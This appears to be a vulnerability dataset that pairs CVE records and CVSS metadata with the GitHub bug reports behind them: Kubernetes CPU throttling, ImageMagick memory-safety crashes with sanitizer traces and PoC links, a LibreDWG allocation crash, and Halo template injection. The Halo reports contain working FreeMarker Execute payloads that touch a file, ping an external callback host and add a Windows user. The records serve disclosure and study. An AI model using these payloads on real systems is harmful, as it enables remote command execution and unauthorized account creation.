"source": "[email protected]",
"type": "Primary",
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}
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"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"kubernetes",
"kubernetes"
] | > /kind bug
This is not a bug in Kubernets per se, it's more of a heads-up.
I've read this great blog post:
* https://kubernetes.io/blog/2018/07/24/feature-highlight-cpu-manager/
From the blog post I learned that k8s is using cfs quotas to enforce CPU limits. Unfortunately, those can lead to unnecessary throttling, especially for well behaved tenants.
See this unresolved bug in Linux kernel I filed a while back:
* https://bugzilla.kernel.org/show_bug.cgi?id=198197
There's an open and stalled patch that addresses the issue (I've not verified if it works):
* https://lore.kernel.org/patchwork/cover/907448/
cc @ConnorDoyle @balajismaniam | CFS quotas can lead to unnecessary throttling | https://api.github.com/repos/kubernetes/kubernetes/issues/67577/comments | 146 | 2018-08-20T04:06:20Z | 2023-01-16T14:53:22Z | https://github.com/kubernetes/kubernetes/issues/67577 | 351,978,078 | 67,577 |
CVE-2019-19948 | 2019-12-24T01:15:11.247 | In ImageMagick 7.0.8-43 Q16, there is a heap-based buffer overflow in the function WriteSGIImage of coders/sgi.c. | {
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"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [X] I have written a descriptive issue title
- [X] I have verified that I am using the latest version of ImageMagick
- [X] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There is a heap buffer overflow vulnerability in function WriteSGIImage of coders/sgi.c.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
[poc](https://drive.google.com/open?id=1s1qxnLgAWnDOLL582hni6LgrvCnPddI0)
magick convert $poc ./test.sgi
`=================================================================`
`==41720==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f70c67db7f8 at pc 0x0000006c216f bp 0x7ffea64ddb50 sp 0x7ffea64ddb40`
`WRITE of size 1 at 0x7f70c67db7f8 thread T0`
` #0 0x6c216e in WriteSGIImage coders/sgi.c:1051`
` #1 0x849036 in WriteImage MagickCore/constitute.c:1159`
` #2 0x849d5b in WriteImages MagickCore/constitute.c:1376`
` #3 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305`
` #4 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #5 0x4100a1 in MagickMain utilities/magick.c:149`
` #6 0x410282 in main utilities/magick.c:180`
` #7 0x7f70c10c882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)`
` #8 0x40fbb8 in _start (/home/test/temp/ImageMagick/utilities/magick+0x40fbb8)`
`0x7f70c67db7f8 is located 8 bytes to the left of 524288-byte region [0x7f70c67db800,0x7f70c685b800)`
`allocated by thread T0 here:`
` #0 0x7f70c5868076 in __interceptor_posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99076)`
` #1 0x4408c7 in AcquireAlignedMemory MagickCore/memory.c:265`
` #2 0x440beb in AcquireVirtualMemory MagickCore/memory.c:621`
` #3 0x6c1ead in WriteSGIImage coders/sgi.c:1030`
` #4 0x849036 in WriteImage MagickCore/constitute.c:1159`
` #5 0x849d5b in WriteImages MagickCore/constitute.c:1376`
` #6 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305`
` #7 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #8 0x4100a1 in MagickMain utilities/magick.c:149`
` #9 0x410282 in main utilities/magick.c:180`
` #10 0x7f70c10c882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)`
`SUMMARY: AddressSanitizer: heap-buffer-overflow coders/sgi.c:1051 WriteSGIImage`
`Shadow bytes around the buggy address:`
` 0x0fee98cf36a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
` 0x0fee98cf36b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
` 0x0fee98cf36c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
` 0x0fee98cf36d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
` 0x0fee98cf36e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa`
`=>0x0fee98cf36f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]`
` 0x0fee98cf3700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
` 0x0fee98cf3710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
` 0x0fee98cf3720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
` 0x0fee98cf3730: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
` 0x0fee98cf3740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00`
`Shadow byte legend (one shadow byte represents 8 application bytes):`
` Addressable: 00`
` Partially addressable: 01 02 03 04 05 06 07 `
` Heap left redzone: fa`
` Heap right redzone: fb`
` Freed heap region: fd`
` Stack left redzone: f1`
` Stack mid redzone: f2`
` Stack right redzone: f3`
` Stack partial redzone: f4`
` Stack after return: f5`
` Stack use after scope: f8`
` Global redzone: f9`
` Global init order: f6`
` Poisoned by user: f7`
` Container overflow: fc`
` Array cookie: ac`
` Intra object redzone: bb`
` ASan internal: fe`
`==41720==ABORTING`
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
`Version: ImageMagick 7.0.8-43 Q16 x86_64 2019-04-29 https://imagemagick.org`
`Copyright: ? 1999-2019 ImageMagick Studio LLC`
`License: https://imagemagick.org/script/license.php`
`Features: Cipher DPC HDRI OpenMP(4.0) `
`Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib`
- Environment (Operating system, version and so on):
`Distributor ID: Ubuntu`
`Description: Ubuntu 16.04.1 LTS`
`Release: 16.04`
`Codename: xenial`
- Additional information:
<!-- Thanks for reporting the issue to ImageMagick! -->
| heap-buffer-overflow in WriteSGIImage of coders/sgi.c | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1562/comments | 2 | 2019-04-29T03:08:25Z | 2020-02-07T01:34:56Z | https://github.com/ImageMagick/ImageMagick/issues/1562 | 438,134,907 | 1,562 |
CVE-2019-19949 | 2019-12-24T01:15:11.327 | In ImageMagick 7.0.8-43 Q16, there is a heap-based buffer over-read in the function WritePNGImage of coders/png.c, related to Magick_png_write_raw_profile and LocaleNCompare. | {
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] | https://github.com/ImageMagick/ImageMagick/issues/1561 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [X] I have verified that I am using the latest version of ImageMagick
- [X] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There is a heap buffer overflow vulnerability in function WritePNGImage of png.c.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
[poc](https://drive.google.com/open?id=11dbKOgAj3s8BPTO4P4Xescp2-2HlQUBP)
magick convert $poc ./test.png
`=================================================================`
`==41625==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000b251 at pc 0x7f57acd61145 bp 0x7fff0c9e88f0 sp 0x7fff0c9e8098`
`READ of size 1 at 0x60200000b251 thread T0`
` #0 0x7f57acd61144 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x4b144)`
` #1 0x435b4e in LocaleNCompare MagickCore/locale.c:1581`
` #2 0x76bab9 in Magick_png_write_raw_profile coders/png.c:8183`
` #3 0x77be6c in WriteOnePNGImage coders/png.c:11083`
` #4 0x783ffa in WritePNGImage coders/png.c:12744`
` #5 0x849036 in WriteImage MagickCore/constitute.c:1159`
` #6 0x849d5b in WriteImages MagickCore/constitute.c:1376`
` #7 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305`
` #8 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #9 0x4100a1 in MagickMain utilities/magick.c:149`
` #10 0x410282 in main utilities/magick.c:180`
` #11 0x7f57a860f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)`
` #12 0x40fbb8 in _start (/home/ImageMagick/utilities/magick+0x40fbb8)`
``
`0x60200000b251 is located 0 bytes to the right of 1-byte region [0x60200000b250,0x60200000b251)`
`allocated by thread T0 here:`
` #0 0x7f57acdae602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)`
` #1 0x44096a in AcquireMagickMemory MagickCore/memory.c:478`
` #2 0x4409be in AcquireQuantumMemory MagickCore/memory.c:551`
` #3 0x4c4165 in ConstantString MagickCore/string.c:713`
` #4 0x49a6fb in CloneSplayTree MagickCore/splay-tree.c:372`
` #5 0x487eab in CloneImageProfiles MagickCore/profile.c:190`
` #6 0x418926 in CloneImage MagickCore/image.c:838`
` #7 0x76d056 in WriteOnePNGImage coders/png.c:8528`
` #8 0x783ffa in WritePNGImage coders/png.c:12744`
` #9 0x849036 in WriteImage MagickCore/constitute.c:1159`
` #10 0x849d5b in WriteImages MagickCore/constitute.c:1376`
` #11 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305`
` #12 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #13 0x4100a1 in MagickMain utilities/magick.c:149`
` #14 0x410282 in main utilities/magick.c:180`
` #15 0x7f57a860f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)`
``
`SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??`
`Shadow bytes around the buggy address:`
` 0x0c047fff95f0: fa fa 07 fa fa fa 00 01 fa fa 00 fa fa fa 04 fa`
` 0x0c047fff9600: fa fa 00 03 fa fa 00 fa fa fa 00 02 fa fa 06 fa`
` 0x0c047fff9610: fa fa 00 05 fa fa 05 fa fa fa 00 fa fa fa 01 fa`
` 0x0c047fff9620: fa fa 00 02 fa fa 00 04 fa fa 00 04 fa fa 00 04`
` 0x0c047fff9630: fa fa 03 fa fa fa 00 02 fa fa 07 fa fa fa 07 fa`
`=>0x0c047fff9640: fa fa 00 01 fa fa 04 fa fa fa[01]fa fa fa 00 04`
` 0x0c047fff9650: fa fa 04 fa fa fa 04 fa fa fa 00 02 fa fa 06 fa`
` 0x0c047fff9660: fa fa 04 fa fa fa 00 02 fa fa 06 fa fa fa 04 fa`
` 0x0c047fff9670: fa fa 00 02 fa fa 06 fa fa fa 04 fa fa fa 00 02`
` 0x0c047fff9680: fa fa 06 fa fa fa 04 fa fa fa 00 02 fa fa 00 03`
` 0x0c047fff9690: fa fa 06 fa fa fa 04 fa fa fa 00 02 fa fa 05 fa`
`Shadow byte legend (one shadow byte represents 8 application bytes):`
` Addressable: 00`
` Partially addressable: 01 02 03 04 05 06 07 `
` Heap left redzone: fa`
` Heap right redzone: fb`
` Freed heap region: fd`
` Stack left redzone: f1`
` Stack mid redzone: f2`
` Stack right redzone: f3`
` Stack partial redzone: f4`
` Stack after return: f5`
` Stack use after scope: f8`
` Global redzone: f9`
` Global init order: f6`
` Poisoned by user: f7`
` Container overflow: fc`
` Array cookie: ac`
` Intra object redzone: bb`
` ASan internal: fe`
`==41625==ABORTING`
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
`Version: ImageMagick 7.0.8-43 Q16 x86_64 2019-04-29 https://imagemagick.org`
`Copyright: ? 1999-2019 ImageMagick Studio LLC`
`License: https://imagemagick.org/script/license.php`
`Features: Cipher DPC HDRI OpenMP(4.0) `
`Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib`
- Environment (Operating system, version and so on):
`Distributor ID: Ubuntu`
`Description: Ubuntu 16.04.1 LTS`
`Release: 16.04`
`Codename: xenial`
- Additional information:
<!-- Thanks for reporting the issue to ImageMagick! -->
| heap-buffer-overflow in WritePNGImage of png.c | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1561/comments | 3 | 2019-04-29T02:55:44Z | 2019-12-26T12:39:58Z | https://github.com/ImageMagick/ImageMagick/issues/1561 | 438,133,289 | 1,561 |
CVE-2019-19952 | 2019-12-24T01:15:11.527 | In ImageMagick 7.0.9-7 Q16, there is a use-after-free in the function MngInfoDiscardObject of coders/png.c, related to ReadOneMNGImage. | {
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"baseSeverity": "HIGH",
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
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"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/ImageMagick/ImageMagick/issues/1791"
}
] | [
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] | https://github.com/ImageMagick/ImageMagick/issues/1791 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [X] I have written a descriptive issue title
- [X] I have verified that I am using the latest version of ImageMagick
- [X] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There is a heap-use-after-free vulnerability in function MngInfoDiscardObject of coders/png.c whick can be reproduced as below.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
[poc](https://drive.google.com/open?id=1z31pFLCb5tluwW_n_l7Dh9C_YWBs_IvX)
magick convert $poc /dev/null
`=================================================================`
`==21864==ERROR: AddressSanitizer: heap-use-after-free on address 0xf0a2c1ad at pc 0x083e0eb3 bp 0xffafc948 sp 0xffafc938`
`READ of size 1 at 0xf0a2c1ad thread T0`
` #0 0x83e0eb2 in MngInfoDiscardObject coders/png.c:1569`
` #1 0x83e1237 in MngInfoFreeStruct coders/png.c:1609`
` #2 0x84021f5 in ReadMNGImage coders/png.c:7790`
` #3 0x84fccbf in ReadImage MagickCore/constitute.c:553`
` #4 0x810a116 in ReadStream MagickCore/stream.c:1043`
` #5 0x84fbcd1 in PingImage MagickCore/constitute.c:273`
` #6 0x84fc2e3 in PingImages MagickCore/constitute.c:374`
` #7 0x8991f79 in IdentifyImageCommand MagickWand/identify.c:304`
` #8 0x8a26ba8 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #9 0x8053b31 in MagickMain utilities/magick.c:149`
` #10 0x8053d72 in main utilities/magick.c:180`
` #11 0xf60c5636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)`
` #12 0x80535a0 (/home/ImageMagick/utilities/magick+0x80535a0)`
`0xf0a2c1ad is located 8365 bytes inside of 12368-byte region [0xf0a2a100,0xf0a2d150)`
`freed by thread T0 here:`
` #0 0xf7241a84 in free (/usr/lib/i386-linux-gnu/libasan.so.2+0x96a84)`
` #1 0x808a8e4 in RelinquishMagickMemory MagickCore/memory.c:1089`
` #2 0x83e12de in MngInfoFreeStruct coders/png.c:1614`
` #3 0x8401702 in ReadOneMNGImage coders/png.c:7681`
` #4 0x84021e4 in ReadMNGImage coders/png.c:7789`
` #5 0x84fccbf in ReadImage MagickCore/constitute.c:553`
` #6 0x810a116 in ReadStream MagickCore/stream.c:1043`
` #7 0x84fbcd1 in PingImage MagickCore/constitute.c:273`
` #8 0x84fc2e3 in PingImages MagickCore/constitute.c:374`
` #9 0x8991f79 in IdentifyImageCommand MagickWand/identify.c:304`
` #10 0x8a26ba8 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #11 0x8053b31 in MagickMain utilities/magick.c:149`
` #12 0x8053d72 in main utilities/magick.c:180`
` #13 0xf60c5636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)`
`previously allocated by thread T0 here:`
` #0 0xf7241dee in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96dee)`
` #1 0x80899a2 in AcquireMagickMemory MagickCore/memory.c:488`
` #2 0x8402117 in ReadMNGImage coders/png.c:7780`
` #3 0x84fccbf in ReadImage MagickCore/constitute.c:553`
` #4 0x810a116 in ReadStream MagickCore/stream.c:1043`
` #5 0x84fbcd1 in PingImage MagickCore/constitute.c:273`
` #6 0x84fc2e3 in PingImages MagickCore/constitute.c:374`
` #7 0x8991f79 in IdentifyImageCommand MagickWand/identify.c:304`
` #8 0x8a26ba8 in MagickCommandGenesis MagickWand/mogrify.c:185`
` #9 0x8053b31 in MagickMain utilities/magick.c:149`
` #10 0x8053d72 in main utilities/magick.c:180`
` #11 0xf60c5636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)`
`SUMMARY: AddressSanitizer: heap-use-after-free coders/png.c:1569 MngInfoDiscardObject`
`Shadow bytes around the buggy address:`
` 0x3e1457e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e1457f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145800: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145810: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145820: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
`=>0x3e145830: fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd`
` 0x3e145840: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145850: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145860: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145870: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
` 0x3e145880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd`
`Shadow byte legend (one shadow byte represents 8 application bytes):`
` Addressable: 00`
` Partially addressable: 01 02 03 04 05 06 07 `
` Heap left redzone: fa`
` Heap right redzone: fb`
` Freed heap region: fd`
` Stack left redzone: f1`
` Stack mid redzone: f2`
` Stack right redzone: f3`
` Stack partial redzone: f4`
` Stack after return: f5`
` Stack use after scope: f8`
` Global redzone: f9`
` Global init order: f6`
` Poisoned by user: f7`
` Container overflow: fc`
` Array cookie: ac`
` Intra object redzone: bb`
` ASan internal: fe`
`==21864==ABORTING`
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.9-7 Q16 x86_64 2019-11-27 https://imagemagick.org
Copyright: ? 1999-2020 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.0)
Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib
- Environment (Operating system, version and so on):
Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial
- Additional information:
<!-- Thanks for reporting the issue to ImageMagick! -->
| heap-use-after-free in MngInfoDiscardObject of coders/png.c | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1791/comments | 8 | 2019-11-27T06:48:11Z | 2020-03-08T20:06:50Z | https://github.com/ImageMagick/ImageMagick/issues/1791 | 529,151,827 | 1,791 |
CVE-2019-19999 | 2019-12-26T04:15:10.923 | Halo before 1.2.0-beta.1 allows Server Side Template Injection (SSTI) because TemplateClassResolver.SAFER_RESOLVER is not used in the FreeMarker configuration. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
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"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/halo-dev/halo/compare/v1.1.3-beta.2...v1.2.0-beta.1"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/halo-dev/halo/issues/419"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/halo-dev/halo/issues/440"
}
] | [
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"Exploit",
"Third Party Advisory"
] | github.com | [
"halo-dev",
"halo"
] | <!--
如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。
提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way
-->
**I am sure I have checked**
- [x] [Halo User Guide Documentation ](https://halo.run/docs)
- [x] [Halo BBS](https://bbs.halo.run)
- [x] [Github Wiki ](https://github.com/halo-dev/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98)
- [x] [Other Issues](https://github.com/halo-dev/halo/issues)
----
**I want to apply**
- [x] BUG feedback
In the Edit Theme File function. I can edit the ftl file. This is the freemarker template file. This file can cause arbitrary code execution when it is rendered in the background.
RCE code is
```
<#assign test="freemarker.template.utility.Execute"?new()>
${test("touch /tmp/freemarkerPwned")}
```
Then visit an arbitrary 404 page, this vulnerability is triggered.
such as http: //demo.halo/foo
| A Server-Side Freemarker template injection vulnerability could cause remote command execution | https://api.github.com/repos/halo-dev/halo/issues/419/comments | 1 | 2019-12-11T10:44:41Z | 2019-12-12T17:27:08Z | https://github.com/halo-dev/halo/issues/419 | 536,287,817 | 419 |
CVE-2019-19999 | 2019-12-26T04:15:10.923 | Halo before 1.2.0-beta.1 allows Server Side Template Injection (SSTI) because TemplateClassResolver.SAFER_RESOLVER is not used in the FreeMarker configuration. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"halo-dev",
"halo"
] | <!--
如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。
提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way
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**我确定我已经查看了** (标注`[ ]`为`[x]`)
- [ ] [Halo 使用文档](https://halo.run/docs)
- [ ] [Halo 论坛](https://bbs.halo.run)
- [ ] [Github Wiki 常见问题](https://github.com/halo-dev/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98)
- [ x] [其他 Issues](https://github.com/halo-dev/halo/issues)
----
**我要申请** (标注`[ ]`为`[x]`)
- [x ] BUG 反馈
- [ ] 添加新的特性或者功能
- [ ] 请求技术支持
# Testing environment
java version:1.8.0_181
os system: windows
server ip address:192.168.126.136
# Vulnerability Test
## Simple test
access address http://192.168.126.136:8090/admin/ and login in the backstage.Click exterior(外观) and select theme editor(主题编辑). Select any one of the template files,such as "page-top.ftl". Then edit the file and insert a template statement like this.
### payload-1
```
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ping ggggga.2xxxxxj.ceye.io") }
```
Save the file and refresh home page,and then ceye platform can receive a message
## Execute system command
also edit "page-top.ftl" to execute system command to add system user.
### payload-2
```
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("net user security security /add") }
```
save the file again and refresh home page again.Then will add user in the system
# Remark
Because the preview does not display the picture properly when editing the issus, you can visit my github project(https://github.com/c0d1007/exploit) and view the picture.
# Solution
Template files can only be edited locally, or check the file input
| unsafe template file permissions edit cause Server Side Template Injection(SSTI) | https://api.github.com/repos/halo-dev/halo/issues/440/comments | 6 | 2019-12-24T15:49:53Z | 2019-12-25T13:37:00Z | https://github.com/halo-dev/halo/issues/440 | 542,163,626 | 440 |
CVE-2019-20009 | 2019-12-27T01:15:13.257 | An issue was discovered in GNU LibreDWG before 0.93. Crafted input will lead to an attempted excessive memory allocation in dwg_decode_SPLINE_private in dwg.spec. | {
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"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
0x7fd780bb4000-0x7fd780bbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7811a7000-0x7fd7813a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813a7000-0x7fd7813ab000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ab000-0x7fd7813ad000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ad000-0x7fd7813b1000
0x7fd7813b1000-0x7fd78154e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78154e000-0x7fd78174d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174d000-0x7fd78174e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174e000-0x7fd78174f000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174f000-0x7fd78189f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
